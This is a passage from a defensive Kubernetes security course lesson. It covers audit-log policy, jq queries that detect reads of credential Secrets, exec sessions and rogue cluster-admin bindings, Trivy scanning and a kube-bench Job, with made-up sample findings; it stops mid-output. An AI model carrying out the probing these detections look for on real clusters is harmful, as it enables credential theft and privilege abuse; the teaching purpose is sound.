The Project | About Us | Contribute | Donations | License
HOME My courses Completed
◄ Previous
◄

Auditing, Scanning and Vulnerability Management

Next ►
►

Throughout this module we have closed four dimensions of Rutas Norte's security: who can do what (08-01), what a container can do (08-02 and 08-03), what talks to what (08-04) and which images run (08-05). We have put doors everywhere.

But two questions were left unanswered, and they are exactly the two any audit asks.

The first is "who did what?". If tomorrow we discover that the Secret with the bookings-postgres credentials was read, or that a Deployment vanished, or that a ServiceAccount did something odd at three in the morning, right now we have no way of knowing. We have put doors in place, but we keep no record of who goes through them.

The second is "what holes do I have right now?". We know how to scan an image before publishing it, but the ones that have been in production for months accumulate new vulnerabilities every week and nobody is looking at them. And not only the images: the cluster's own configuration may have drifted in ways nobody has reviewed.

This lesson closes the module by answering both, and it ends with what is genuinely missing in most teams: vulnerability management as a process, not as a list of alerts nobody looks at.

Important warning. The audit policy, the vulnerability thresholds and the management process described here are a reasonable example, not a universal template. They must be designed and reviewed by a security professional who knows the organisation's threat model. And since Rutas Norte's audit log documents access to systems handling customers' personal data, both its content and its retention period must be approved by the compliance officer: a badly configured audit log can itself become a source of personal data that has to be protected. This lesson's approach is exclusively defensive: detect, log and fix.

Contents

  1. The apiserver audit log
  2. The audit policy and its four levels
  3. A reasonable policy for Rutas Norte
  4. Practical analysis of audit events
  5. Image vulnerability scanning with Trivy
  6. The Trivy Operator inside the cluster
  7. Assessing the cluster with kube-bench and the CIS standards
  8. Runtime detection with Falco
  9. Integrating Falco alerts with Alertmanager
  10. Vulnerability management as a process
  11. Evidence and compliance audits
  12. Final platform security checklist
  13. Common mistakes and tips
  14. Exercises
  15. Conclusion

  1. The apiserver audit log

Remember from 08-01 that everything in Kubernetes goes through the apiserver: kubectl, the controllers, the kubelet, the operators, occupancy-reports. That makes the apiserver the perfect place to record who does what.

The audit log is a stream of JSON events documenting every request: who made it, from where, what they asked for, what the server answered and when.

The four stages of a request

Each request can generate up to four events, depending on when it is recorded:

Stage When it is emitted Use
RequestReceived As soon as the request arrives Detecting requests that hang
ResponseStarted When the response begins Only for long requests (watch)
ResponseComplete When the response finishes The useful event by default
Panic If the server fails Diagnosing internal failures

Almost always only ResponseComplete is of interest: it is one event per request, with the result already known.

Anatomy of an event

{
  "kind": "Event",
  "apiVersion": "audit.k8s.io/v1",
  "level": "Metadata",
  "auditID": "8f3c1e94-2b7a-4d5e-9c81-6a4f2e8d1b03",
  "stage": "ResponseComplete",
  "requestURI": "/api/v1/namespaces/rutas-norte-pro/secrets/bookings-postgres-credentials",
  "verb": "get",
  "user": {
    "username": "[email protected]",
    "groups": ["platform", "system:authenticated"]
  },
  "sourceIPs": ["10.4.12.87"],
  "userAgent": "kubectl/v1.30.3 (linux/amd64) kubernetes/6fc0a69",
  "objectRef": {
    "resource": "secrets",
    "namespace": "rutas-norte-pro",
    "name": "bookings-postgres-credentials",
    "apiVersion": "v1"
  },
  "responseStatus": { "metadata": {}, "code": 200 },
  "requestReceivedTimestamp": "2026-08-06T03:14:22.481930Z",
  "stageTimestamp": "2026-08-06T03:14:22.489114Z",
  "annotations": {
    "authorization.k8s.io/decision": "allow",
    "authorization.k8s.io/reason": "RoleBinding \"platform-admin\" of ClusterRole \"admin\" to Group \"platform\""
  }
}

Read that event carefully, because it sums up the whole module. It tells us:

  • Who: [email protected], from the platform group.
  • What: she read (get) the Secret with the customer database credentials.
  • When: at 03:14 in the morning.
  • From where: IP 10.4.12.87, using kubectl.
  • With which permission: the RoleBinding we wrote in 08-01.
  • Result: 200, that is, she got it.

Without an audit log, none of those six things would be knowable. With it, the question "did anybody read the database credentials?" has an answer in seconds.

Look particularly at the annotations field: the authorization.k8s.io/reason annotation tells you which RBAC binding granted the permission. It is an extraordinary RBAC auditing tool: when you see an access you did not expect, that line tells you exactly which manifest needs fixing.

Configuring the audit log

It requires changing the apiserver's parameters, so you need control plane access:

# /etc/kubernetes/manifests/kube-apiserver.yaml (fragment)
spec:
  containers:
    - name: kube-apiserver
      command:
        - kube-apiserver
        # The policy file: what is logged and in how much detail
        - --audit-policy-file=/etc/kubernetes/audit/policy.yaml
        # File destination
        - --audit-log-path=/var/log/kubernetes/audit.log
        - --audit-log-maxage=90        # days retained
        - --audit-log-maxbackup=30     # number of rotated files
        - --audit-log-maxsize=200      # MB per file before rotating
        - --audit-log-format=json
      volumeMounts:
        - name: audit-policy
          mountPath: /etc/kubernetes/audit
          readOnly: true
        - name: audit-logs
          mountPath: /var/log/kubernetes
  volumes:
    - name: audit-policy
      hostPath:
        path: /etc/kubernetes/audit
        type: DirectoryOrCreate
    - name: audit-logs
      hostPath:
        path: /var/log/kubernetes
        type: DirectoryOrCreate

On managed Kubernetes (10-06) this is configured from the provider: EKS sends the logs to CloudWatch, AKS to Azure Monitor and GKE to Cloud Logging. The policy is usually fixed or only partly configurable, which is a real limitation to bear in mind.

File or webhook

Destination How it works For Against
File It is written to the control node's disk Simple, no dependencies, nothing is lost if the network fails It is on the node: whoever compromises it can delete it. It has to be collected
Webhook It is sent to an external HTTP service Centralised, out of reach of whoever compromises the cluster, independent retention If the destination does not respond, events can be lost; it adds latency 
# /etc/kubernetes/audit/webhook.yaml
apiVersion: v1
kind: Config
clusters:
  - name: audit-collector
    cluster:
      server: https://audit.rutasnorte.example/events
      certificate-authority: /etc/kubernetes/pki/ca-audit.crt
contexts:
  - name: audit
    context:
      cluster: audit-collector
      user: apiserver-rutasnorte
current-context: audit
users:
  - name: apiserver-rutasnorte
    user:
      client-certificate: /etc/kubernetes/pki/apiserver-audit.crt
      client-key: /etc/kubernetes/pki/apiserver-audit.key
        - --audit-webhook-config-file=/etc/kubernetes/audit/webhook.yaml
        - --audit-webhook-mode=batch          # groups events: less latency
        - --audit-webhook-batch-max-size=400
        - --audit-webhook-batch-max-wait=30s

Recommendation for Rutas Norte: both. The file as a local safety net, and the webhook towards the centralised logging system.

And here is an important design point that connects with module 7: the webhook's destination must not be the same Elasticsearch the application logs go to. The reason is containment: if somebody compromises the cluster, they have access to the Elasticsearch the pods write to, and they could tamper with or delete the evidence. The audit log must go to a system the cluster can only write to, never read from or delete. It is a small architectural difference with an enormous consequence during an incident.

  1. The audit policy and its four levels

Logging everything in full detail is unworkable: a mid-sized cluster generates tens of thousands of requests per minute, most of them noise (the kubelet reporting node status, the controllers watching for changes). The policy decides what is logged and in how much detail.

The four levels

Level What it logs Size When to use it
None Nothing. It discards the event 0 Known noise: probes, system requests
Metadata Who, what, when, result. No bodies Small The default level for almost everything
Request Metadata + the body sent Large Writes you must be able to reconstruct
RequestResponse Metadata + the body sent and returned Very large Very specific, justified cases

A critical warning about RequestResponse and Secrets. If you log RequestResponse on secrets, the secret's contents are written in plain text into the audit file. The bookings-postgres credentials would end up in the log, which is probably replicated to the centralised logging system and its backups. You would have turned your audit log into the worst possible secret store.

For Secrets, always use Metadata. Knowing who read the secret is exactly what you need; what it contained you already know, and it must not be in any log.

The same reasoning applies to any resource that may contain personal data. If bookings-api had a custom resource with customer data, Request on it would log that data into the audit log. It is exactly the kind of decision the compliance officer must review.

How the policy is evaluated

It is an ordered list of rules. The first one that matches applies and the rest are discarded. Order is everything:

apiVersion: audit.k8s.io/v1
kind: Policy
rules:
  - level: None       # <- this one is evaluated first
    resources:
      - group: ""
        resources: ["events"]
  - level: Metadata   # <- you only get here if the previous one did not match

Putting the None rules (the noise) at the beginning and the specific ones afterwards is what keeps the file manageable.

Matching criteria

Field What it filters Example
users Exact user names system:kube-scheduler
userGroups Groups system:nodes
verbs Operations ["get", "list", "watch"]
resources API group and resources {group: "", resources: ["secrets"]}
namespaces Namespaces ["rutas-norte-pro"]
nonResourceURLs Paths that are not resources ["/healthz*", "/version"]
omitStages Stages that are not logged ["RequestReceived"]

  1. A reasonable policy for Rutas Norte

The goal is to log in detail what matters —access to Secrets, writes in production, RBAC changes— without drowning in noise.

# /etc/kubernetes/audit/policy.yaml
apiVersion: audit.k8s.io/v1
kind: Policy

# RequestReceived duplicates every event without adding anything in the general case
omitStages:
  - RequestReceived

rules:
  # ============================================================
  # BLOCK 1: noise that is NOT logged (it goes first, by order)
  # ============================================================

  # Health checks and API discovery: thousands per minute
  - level: None
    nonResourceURLs:
      - /healthz*
      - /livez*
      - /readyz*
      - /version
      - /openapi*
      - /apis
      - /apis/*
      - /api
      - /api/*
      - /metrics

  # The nodes reporting their status constantly
  - level: None
    users: ["system:kubelet"]
    userGroups: ["system:nodes"]
    verbs: ["get", "list", "watch"]
    resources:
      - group: ""
        resources: ["nodes", "nodes/status", "pods", "endpoints"]

  # The control plane controllers watching for changes
  - level: None
    userGroups: ["system:serviceaccounts:kube-system"]
    verbs: ["get", "list", "watch"]

  # Kubernetes events: there are a great many and they are collected separately (07-06)
  - level: None
    resources:
      - group: ""
        resources: ["events"]

  # Leader-election lease renewals: constant and uninteresting
  - level: None
    resources:
      - group: "coordination.k8s.io"
        resources: ["leases"]

  # ============================================================
  # BLOCK 2: the critical parts, at the greatest safe detail
  # ============================================================

  # --- SECRETS: who touches them, ALWAYS, in every namespace ---
  # Metadata level on purpose: logging the content would write
  # the customer database credentials into the log.
  - level: Metadata
    resources:
      - group: ""
        resources: ["secrets"]
    omitStages:
      - RequestReceived

  # --- Issuing ServiceAccount tokens: an impersonation route (08-01) ---
  - level: Metadata
    resources:
      - group: ""
        resources: ["serviceaccounts/token"]

  # --- RBAC: any change to who can do what ---
  # Request here: we want to be able to reconstruct exactly which permission
  # was granted. A Role contains no personal data.
  - level: Request
    resources:
      - group: "rbac.authorization.k8s.io"
        resources: ["roles", "rolebindings", "clusterroles", "clusterrolebindings"]

  # --- Admission and network policies: disabling them is an attack ---
  - level: Request
    resources:
      - group: "admissionregistration.k8s.io"
      - group: "kyverno.io"
      - group: "networking.k8s.io"
        resources: ["networkpolicies"]
      - group: "policy"

  # --- Namespace configuration: it includes the PSA labels (08-03) ---
  - level: Request
    verbs: ["create", "update", "patch", "delete"]
    resources:
      - group: ""
        resources: ["namespaces"]

  # ============================================================
  # BLOCK 3: production, in more detail than the rest
  # ============================================================

  # Every WRITE in rutas-norte-pro, with the request body
  - level: Request
    verbs: ["create", "update", "patch", "delete", "deletecollection"]
    namespaces: ["rutas-norte-pro"]

  # Interactive operations on pods: exec, attach, port-forward,
  # ephemeral containers. They are the highest risk (08-01).
  - level: Request
    resources:
      - group: ""
        resources:
          - pods/exec
          - pods/attach
          - pods/portforward
          - pods/ephemeralcontainers

  # Reading logs: they may contain customer information
  - level: Metadata
    resources:
      - group: ""
        resources: ["pods/log"]

  # ============================================================
  # BLOCK 4: the rest
  # ============================================================

  # Writes in any other namespace: metadata
  - level: Metadata
    verbs: ["create", "update", "patch", "delete", "deletecollection"]

  # Everything else (ordinary reads): metadata
  - level: Metadata

The decisions, explained

Decision Reason
Global omitStages: [RequestReceived] It halves the volume without losing useful information
None for probes and discovery It is 70-80% of the volume and contributes nothing
None for the kubelet and the controllers reading Constant noise from normal operation
Metadata for Secrets, never Request Logging the content would write the credentials into the log
Request for RBAC We want to be able to reconstruct which exact permission was granted
Request for admission and network policies Disabling them is the prelude to other actions
Request for writes in rutas-norte-pro Production deserves more detail
Request for pods/exec and friends Maximum risk: interactive access to a container
Metadata for pods/log Knowing who read logs, without duplicating their content

Estimating the volume

Before applying the policy in production, measure. In rutas-norte-pre:

# Log size over one hour
ls -lh /var/log/kubernetes/audit.log

# Distribution by level
jq -r '.level' /var/log/kubernetes/audit.log | sort | uniq -c | sort -rn
  18432 Metadata
   1204 Request
# Which resources generate the most events: candidates for the None list
jq -r '.objectRef.resource // "no-resource"' /var/log/kubernetes/audit.log \
  | sort | uniq -c | sort -rn | head -10
   6218 pods
   3891 configmaps
   2104 endpointslices
   1877 deployments
   1442 secrets
    998 replicasets
    712 services
    488 nodes
    301 rolebindings
     94 pods/log

That table is the guide for tuning the policy. If endpointslices generates 2,100 events and you are never going to query them, add them to None.

With the policy above, a cluster the size of Rutas Norte generates on the order of 1-3 GB a day. With 90 days of retention, some 100-250 GB. It is perfectly manageable, but it has to be planned for and not discovered when the control node's disk fills up (which, moreover, stops the apiserver: if it cannot write the audit log, it stops serving requests).

  1. Practical analysis of audit events

The audit log is only worth anything if you know how to query it. Here are the queries you genuinely need, answering concrete questions.

Question 1: who read the database credentials?

This is the question of this module.

jq -r 'select(
    .objectRef.resource == "secrets" and
    .objectRef.namespace == "rutas-norte-pro" and
    (.verb == "get" or .verb == "list" or .verb == "watch")
  )
  | "\(.stageTimestamp)  \(.user.username)  \(.verb)  \(.objectRef.name // "ALL")  \(.sourceIPs[0])  \(.responseStatus.code)"' \
  /var/log/kubernetes/audit.log | sort
2026-08-05T09:12:04Z  system:serviceaccount:rutas-norte-pro:bookings-api  get  bookings-api-db  10.244.2.19  200
2026-08-05T14:33:41Z  [email protected]  get  bookings-postgres-credentials  10.4.12.87  200
2026-08-06T03:14:22Z  [email protected]  get  bookings-postgres-credentials  10.4.12.87  200
2026-08-06T03:14:58Z  [email protected]  list  ALL  10.4.12.203  403

Four lines, four stories:

  • The first is normal: the bookings-api ServiceAccount reading its own secret.
  • The second is a read by platform during working hours. Verifiable against a ticket.
  • The third is the same person at 03:14 in the morning. It is not necessarily malicious —there may have been a night-time incident— but it is an anomaly that has to be confirmed.
  • The fourth is a 403: carl.vega, from the development group, tried to list every secret in production. The RBAC from 08-01 denied it. A developer attempting that at 03:14 deserves a conversation, and if it was not him, it is a serious incident: somebody is using his credentials.

Note the value of logging failed attempts as well. A 403 is a detection signal, not a non-event.

Question 2: who deleted that Deployment?

jq -r 'select(
    .verb == "delete" and
    .objectRef.resource == "deployments" and
    .objectRef.namespace == "rutas-norte-pro"
  )
  | "\(.stageTimestamp)  \(.user.username)  deleted \(.objectRef.name)  from \(.sourceIPs[0])  agent=\(.userAgent)"' \
  /var/log/kubernetes/audit.log
2026-08-05T16:47:12Z  system:serviceaccount:argocd:argocd-application-controller  deleted legacy-exporter  from 10.244.1.8  agent=argocd-application-controller/v2.12.3

An immediate answer: Argo CD deleted it, that is, somebody removed that manifest from the Git repository. The question moves to the commit history. Without auditing, this would have been an afternoon of guesswork.

Question 3: what did that ServiceAccount do?

SA="system:serviceaccount:rutas-norte-pro:notifications-worker"

jq -r --arg sa "$SA" 'select(.user.username == $sa)
  | "\(.stageTimestamp)  \(.verb)  \(.objectRef.resource // "-")/\(.objectRef.name // "-")  \(.responseStatus.code)"' \
  /var/log/kubernetes/audit.log | sort | uniq -c | sort -rn | head -20
     42 2026-08-06T...  get  configmaps/worker-config  200
      3 2026-08-06T...  list  secrets/-  403
      1 2026-08-06T...  create  pods/exec  403

The last two lines are a clear alarm signal. notifications-worker has no reason whatsoever to try to list secrets or to open a shell in a pod. The 403s confirm that RBAC worked, but a process attempting those operations means it is doing something it should not.

Compare this with the exercise in 08-04, where that same component appeared probing the network: if both signals coincide in time, you have a compromised pod, and now you have evidence from two independent sources.

Question 4: who has been inside production containers?

jq -r 'select(
    (.objectRef.subresource == "exec" or .objectRef.subresource == "attach" or
     .objectRef.subresource == "ephemeralcontainers") and
    .objectRef.namespace == "rutas-norte-pro"
  )
  | "\(.stageTimestamp)  \(.user.username)  \(.objectRef.subresource)  pod=\(.objectRef.name)  \(.responseStatus.code)"' \
  /var/log/kubernetes/audit.log
2026-08-04T11:02:33Z  [email protected]  exec  pod=bookings-api-6d4f8b9c7-k2m4x  101
2026-08-06T02:58:14Z  [email protected]  exec  pod=bookings-postgres-0  403

Code 101 is "switching protocols": the session was established. The 403 on the second line confirms that the RBAC from 08-01 stopped somebody from development getting into the customer database. Exactly what we designed.

Question 5: has anybody changed the RBAC?

jq -r 'select(
    .objectRef.apiGroup == "rbac.authorization.k8s.io" and
    (.verb == "create" or .verb == "update" or .verb == "patch" or .verb == "delete")
  )
  | "\(.stageTimestamp)  \(.user.username)  \(.verb)  \(.objectRef.resource)/\(.objectRef.name)"' \
  /var/log/kubernetes/audit.log
2026-08-06T01:33:07Z  [email protected]  create  clusterrolebindings/temp-debug

A ClusterRoleBinding created at one in the morning with a name that says "temp". With level: Request in the RBAC policy, we can see exactly what it granted:

jq -r 'select(.objectRef.name == "temp-debug") | .requestObject' \
  /var/log/kubernetes/audit.log
{
  "kind": "ClusterRoleBinding",
  "apiVersion": "rbac.authorization.k8s.io/v1",
  "metadata": { "name": "temp-debug" },
  "roleRef": {
    "apiGroup": "rbac.authorization.k8s.io",
    "kind": "ClusterRole",
    "name": "cluster-admin"
  },
  "subjects": [
    { "kind": "Group", "name": "development", "apiGroup": "rbac.authorization.k8s.io" }
  ]
}

Somebody granted cluster-admin to the entire development team during a night-time incident. If it still exists, it is a serious finding. This is precisely the kind of thing section 11 of lesson 08-01 told us to look for in the quarterly review, and now we have the date, the time and the person responsible.

A daily report script

#!/usr/bin/env bash
# security/daily-audit-report.sh
# Daily summary of relevant audit events.
set -euo pipefail
LOG="${1:-/var/log/kubernetes/audit.log}"
TODAY=$(date -u +%Y-%m-%d)

echo "=== Audit report — $TODAY ==="
echo

echo "--- Access to rutas-norte-pro Secrets ---"
jq -r 'select(.objectRef.resource == "secrets" and .objectRef.namespace == "rutas-norte-pro")
  | "\(.user.username)"' "$LOG" | sort | uniq -c | sort -rn

echo
echo "--- Interactive sessions in production (exec/attach/debug) ---"
jq -r 'select((.objectRef.subresource // "") | test("exec|attach|ephemeralcontainers"))
  | select(.objectRef.namespace == "rutas-norte-pro")
  | "\(.stageTimestamp) \(.user.username) \(.objectRef.name)"' "$LOG"

echo
echo "--- RBAC changes ---"
jq -r 'select(.objectRef.apiGroup == "rbac.authorization.k8s.io")
  | select(.verb | test("create|update|patch|delete"))
  | "\(.stageTimestamp) \(.user.username) \(.verb) \(.objectRef.resource)/\(.objectRef.name)"' "$LOG"

echo
echo "--- DENIED requests (403): possible probing ---"
jq -r 'select(.responseStatus.code == 403)
  | "\(.user.username) -> \(.verb) \(.objectRef.resource // .requestURI)"' "$LOG" \
  | sort | uniq -c | sort -rn | head -15

echo
echo "--- Violations recorded by Pod Security Admission (08-03) ---"
jq -r 'select(.annotations["pod-security.kubernetes.io/audit-violations"] != null)
  | "\(.objectRef.namespace)/\(.objectRef.name): \(.annotations["pod-security.kubernetes.io/audit-violations"])"' \
  "$LOG" | sort -u

That last section connects directly with 08-03: the PSA's audit mode writes its violations as annotations on the audit events. If you have namespaces on enforce: baseline with audit: restricted, this query tells you exactly which pods would not reach restricted.

This report, run daily and reviewed by a person, is one of the best effort-to-value security practices in the whole module.

  1. Image vulnerability scanning with Trivy

In 08-05 we said that an image does not degrade: the world changes around it. Now we are going to measure by how much.

Trivy is a scanner that compares an image's components (its SBOM, in fact) against public vulnerability databases.

Local scanning

trivy image registry.rutasnorte.example/rutasnorte/bookings-api:2.7.1
registry.rutasnorte.example/rutasnorte/bookings-api:2.7.1 (debian 12.7)
==========================================================================
Total: 4 (UNKNOWN: 0, LOW: 2, MEDIUM: 1, HIGH: 1, CRITICAL: 0)

┌──────────────┬────────────────┬──────────┬────────┬───────────────────┬───────────────┐
│   Library    │ Vulnerability  │ Severity │ Status │ Installed Version │ Fixed Version │
├──────────────┼────────────────┼──────────┼────────┼───────────────────┼───────────────┤
│ libssl3      │ CVE-2026-11042 │ HIGH     │ fixed  │ 3.0.14-1          │ 3.0.15-1      │
│ libc6        │ CVE-2026-10877 │ MEDIUM   │ fixed  │ 2.36-9            │ 2.36-9+deb12u1│
│ zlib1g       │ CVE-2025-98004 │ LOW      │ affected│ 1:1.2.13.dfsg-1  │               │
└──────────────┴────────────────┴──────────┴────────┴───────────────────┴───────────────┘

Node.js (node-pkg)
==================
Total: 1 (UNKNOWN: 0, LOW: 0, MEDIUM: 0, HIGH: 0, CRITICAL: 1)

┌──────────────┬────────────────┬──────────┬────────┬───────────────────┬───────────────┐
│   Library    │ Vulnerability  │ Severity │ Status │ Installed Version │ Fixed Version │
├──────────────┼────────────────┼──────────┼────────┼───────────────────┼───────────────┤
│ jsonwebtoken │ CVE-2026-12033 │ CRITICAL │ fixed  │ 9.0.2             │ 9.0.3         │
└──────────────┴────────────────┴──────────┴────────┴───────────────────┴───────────────┘

The Status column is the most important one and many people ignore it:

Status Meaning What to do
fixed A corrected version is available Update. It is actionable
affected Confirmed, no fix yet Mitigate or accept; keep watching
will_not_fix The maintainer is not going to fix it Assess whether it affects your use
fix_deferred It will be fixed later Keep watching
end_of_life The component is no longer supported Migrate: this is the most serious

A CRITICAL with status fixed is urgent and straightforward: update the dependency. A HIGH with will_not_fix requires analysis, not immediate action.

Scanning in the pipeline with a threshold

# .gitlab-ci.yml (fragment) — a scan that breaks the build
scan-image:
  stage: verify
  script:
    # Update the vulnerability database separately: if the download
    # fails, we want to know, not have the scan pass by default
    - trivy image --download-db-only

    # A readable report for the pipeline log
    - trivy image --severity LOW,MEDIUM,HIGH,CRITICAL "${IMAGE}:${VERSION}"

    # Quality gate: CRITICAL or HIGH with an available fix = failure
    - |
      trivy image \
        --severity HIGH,CRITICAL \
        --ignore-unfixed \
        --exit-code 1 \
        --ignorefile .trivyignore \
        "${IMAGE}:${VERSION}"

    # A SARIF report for the CI platform's interface
    - trivy image --format sarif --output trivy.sarif "${IMAGE}:${VERSION}"

    # Secret scanning: credentials left behind in the layers (08-05)
    - trivy image --scanners secret --exit-code 1 "${IMAGE}:${VERSION}"
  artifacts:
    reports:
      sast: trivy.sarif
    expire_in: 90 days

The two options that make this workable:

  • --ignore-unfixed: it only fails on vulnerabilities with an available fix. Without it, an unpatched vulnerability would block every deployment indefinitely, which leads the team to disable the check. A gate that is always shut ends up dismantled.
  • --ignorefile: documented exceptions.
# .trivyignore
# Format: CVE  # reason — owner — expiry date
#
# THIS FILE IS REVIEWED IN EVERY QUARTERLY AUDIT.
# An exception with no expiry date is a process failure.

# The affected binary (openssl as a command-line tool) is not
# present in the distroless image; only the library, which does not use the
# vulnerable path. Confirmed with the security team.
# Owner: platform — Expires: 2026-11-01
CVE-2026-10877

# No fix available from the maintainer. The component does not process external
# input in our use. Reviewed 2026-08-01.
# Owner: platform — Expires: 2026-10-01
CVE-2025-98004

That comment format is not decorative: an exception with no reason, no owner and no expiry date is a vulnerability accepted in silence. We develop this in section 10.

Continuous registry scanning

This is the point that closes the gap. An image scanned in June may have critical vulnerabilities in August without anybody having touched it.

#!/usr/bin/env bash
# security/scan-registry.sh
# Weekly scan of every image deployed in production.
set -uo pipefail

# Get the images that are ACTUALLY running, by digest
kubectl get pods -A -o json | jq -r '
  .items[].status.containerStatuses[]?.imageID' \
  | grep '^registry.rutasnorte.example' | sort -u > /tmp/images-in-use.txt

echo "Running images: $(wc -l < /tmp/images-in-use.txt)"
findings=0

while read -r image; do
  result=$(trivy image --severity CRITICAL,HIGH --ignore-unfixed \
                --format json --quiet "$image" 2>/dev/null)
  n=$(echo "$result" | jq '[.Results[]?.Vulnerabilities[]?] | length')
  if [[ "$n" -gt 0 ]]; then
    echo "=== $image: $n vulnerabilities with an available fix"
    echo "$result" | jq -r '.Results[]?.Vulnerabilities[]?
      | "    \(.Severity)  \(.VulnerabilityID)  \(.PkgName) \(.InstalledVersion) -> \(.FixedVersion)"' \
      | sort -u
    findings=$((findings + n))
  fi
done < /tmp/images-in-use.txt

echo
echo "Total actionable findings: $findings"
Running images: 8
=== registry.rutasnorte.example/rutasnorte/bookings-api@sha256:9f2c1d...: 2 vulnerabilities with an available fix
    CRITICAL  CVE-2026-12033  jsonwebtoken 9.0.2 -> 9.0.3
    HIGH      CVE-2026-11042  libssl3 3.0.14-1 -> 3.0.15-1
=== registry.rutasnorte.example/external/postgres@sha256:2a7f4c...: 1 vulnerabilities with an available fix
    HIGH      CVE-2026-10991  libxml2 2.9.14 -> 2.9.14+deb12u2

Total actionable findings: 3

Scanning what is running, by digest, rather than what the manifests say, is the difference between knowing your real situation and assuming it. If some pod is running a different digest from the expected one (remember 08-05), this script scans it just the same.

Grype as an alternative

Grype, from Anchore, is the other widely used scanner:

grype registry.rutasnorte.example/rutasnorte/bookings-api:2.7.1 -o table
Trivy Grype
Scope Images, file systems, repositories, IaC, Kubernetes, secrets Images and SBOMs
SBOM integration Generates and consumes Consumes Syft SBOMs, from the same project
Kubernetes operator Yes (Trivy Operator) Through Anchore
Speed Very fast Fast
Configuration Extensive Simpler

Both are good and their results differ slightly because they use partly different data sources. Using both in the pipeline is not paranoia: it is a reasonable practice, because each detects things the other misses. For Rutas Norte, Trivy as the primary one (for the operator and the breadth) and Grype as a second opinion on the SBOM we already generate in 08-05.

  1. The Trivy Operator inside the cluster

Scanning by hand works until you stop remembering. The Trivy Operator automates it: it watches the cluster's workloads, scans their images and publishes the results as custom resources (remember the CRDs from 06-06).

helm repo add aqua https://aquasecurity.github.io/helm-charts/
helm install trivy-operator aqua/trivy-operator \
  --namespace trivy-system --create-namespace \
  --set trivy.ignoreUnfixed=true \
  --set operator.scanJobTimeout=10m \
  --set operator.vulnerabilityScannerScanOnlyCurrentRevisions=true \
  --set operator.scanJobsConcurrentLimit=3

That scanJobsConcurrentLimit matters: without it, the operator can launch dozens of scan Jobs simultaneously and saturate the cluster at exactly the wrong moment.

The reports as cluster resources

kubectl get vulnerabilityreports -n rutas-norte-pro
NAME                                          REPOSITORY                            TAG      SCANNER   AGE   CRITICAL   HIGH   MEDIUM   LOW
replicaset-bookings-api-6d4f8b9c7-api         rutasnorte/bookings-api               2.7.1    Trivy     3h    1          1      1        2
replicaset-web-store-6f8d9c4b7-nginx          external/nginx-unprivileged           1.27.1   Trivy     3h    0          0      2        4
statefulset-bookings-postgres-postgres        external/postgres                     16.4     Trivy     3h    0          1      3        7
statefulset-redis-cache-redis                 external/redis                        7.4      Trivy     3h    0          0      0        2
replicaset-notifications-worker-6d4f8-worker  rutasnorte/notifications-worker       3.2.0    Trivy     3h    0          0      1        3

Their being Kubernetes resources has very practical consequences: they are queried with kubectl, they can be filtered with selectors, and the operator exposes Prometheus metrics, so they integrate with module 7's dashboards and alerts with no additional work.

# Detail of the critical vulnerabilities in a report
kubectl get vulnerabilityreport -n rutas-norte-pro \
  replicaset-bookings-api-6d4f8b9c7-api -o json \
  | jq -r '.report.vulnerabilities[]
      | select(.severity == "CRITICAL")
      | "\(.vulnerabilityID)  \(.resource) \(.installedVersion) -> \(.fixedVersion)\n  \(.title)"'
CVE-2026-12033  jsonwebtoken 9.0.2 -> 9.0.3
  Improper verification of signature allows token forgery

The operator's other reports

Resource What it contains
vulnerabilityreports Image vulnerabilities
configauditreports Manifest misconfigurations
exposedsecretreports Secrets found inside the images
rbacassessmentreports Excessive RBAC permissions
infraassessmentreports Configuration of the control plane components
clustercompliancereports Standards compliance (CIS, NSA)

The configauditreports deserve attention because they check things from 08-02 and 08-03:

kubectl get configauditreports -n rutas-norte-pro \
  -o custom-columns='WORKLOAD:.metadata.name,CRIT:.report.summary.criticalCount,HIGH:.report.summary.highCount'
WORKLOAD                                   CRIT   HIGH
replicaset-bookings-api-6d4f8b9c7          0      0
statefulset-bookings-postgres              0      1
daemonset-fluent-bit-collector             0      2
kubectl get configauditreport -n rutas-norte-pro statefulset-bookings-postgres \
  -o json | jq -r '.report.checks[] | select(.severity == "HIGH")
    | "\(.checkID): \(.title)\n  \(.description)"'
KSV014: Root file system is not read-only
  An immutable root file system prevents applications from writing to their
  local disk.

It is exactly the documented exception from 08-02. The operator detects it correctly; our job is to have it recorded as a conscious exception, not to ignore it.

And the clustercompliancereports gives the overall picture:

kubectl get clustercompliancereport cis -o json \
  | jq -r '.status.summary'
{
  "passCount": 87,
  "failCount": 9
}

  1. Assessing the cluster with kube-bench and the CIS standards

The scans above look at the workloads. kube-bench looks at the cluster: it checks the configuration of the control plane components and of the nodes against the CIS Kubernetes Benchmark, a set of secure configuration recommendations maintained by the Center for Internet Security.

# k8s/security/kube-bench-job.yaml
apiVersion: batch/v1
kind: Job
metadata:
  name: kube-bench-nodes
  namespace: rutas-norte-sistema      # the privileged namespace from 08-03
spec:
  template:
    spec:
      # kube-bench needs to read the node's configuration: that is why it goes here
      hostPID: true
      restartPolicy: Never
      containers:
        - name: kube-bench
          image: registry.rutasnorte.example/external/kube-bench:v0.8.0
          command: ["kube-bench", "run", "--targets", "node", "--json"]
          securityContext:
            allowPrivilegeEscalation: false
            readOnlyRootFilesystem: true
            capabilities: { drop: ["ALL"] }
          volumeMounts:
            - { name: var-lib-kubelet, mountPath: /var/lib/kubelet, readOnly: true }
            - { name: etc-kubernetes, mountPath: /etc/kubernetes, readOnly: true }
            - { name: etc-systemd, mountPath: /etc/systemd, readOnly: true }
      volumes:
        - name: var-lib-kubelet
          hostPath: { path: /var/lib/kubelet }
        - name: etc-kubernetes
          hostPath: { path: /etc/kubernetes }
        - name: etc-systemd
          hostPath: { path: /etc/systemd }

Note that this Job uses hostPID and hostPath, which in 08-03 we forbade in rutas-norte-pro. That is why it goes in rutas-norte-sistema, the namespace with the privileged profile. It is a legitimate and bounded use: it only reads, and it is hardened in every other respect.

kubectl apply -f k8s/security/kube-bench-job.yaml
kubectl logs -n rutas-norte-sistema job/kube-bench-nodes | head -40
[INFO] 4 Worker Node Security Configuration
[INFO] 4.1 Worker Node Configuration Files
[PASS] 4.1.1 Ensure that the kubelet service file permissions are set to 600 or more restrictive
[PASS] 4.1.2 Ensure that the kubelet service file ownership is set to root:root
[PASS] 4.1.5 Ensure that the --kubeconfig kubelet.conf file permissions are set to 600
[INFO] 4.2 Kubelet
[PASS] 4.2.1 Ensure that the --anonymous-auth argument is set to false
[PASS] 4.2.2 Ensure that the --authorization-mode argument is not set to AlwaysAllow
[FAIL] 4.2.6 Ensure that the --protect-kernel-defaults argument is set to true
[PASS] 4.2.9 Ensure that the --event-qps argument is set to 0 or a level which ensures appropriate event capture
[WARN] 4.2.12 Ensure that the RotateKubeletServerCertificate argument is set to true

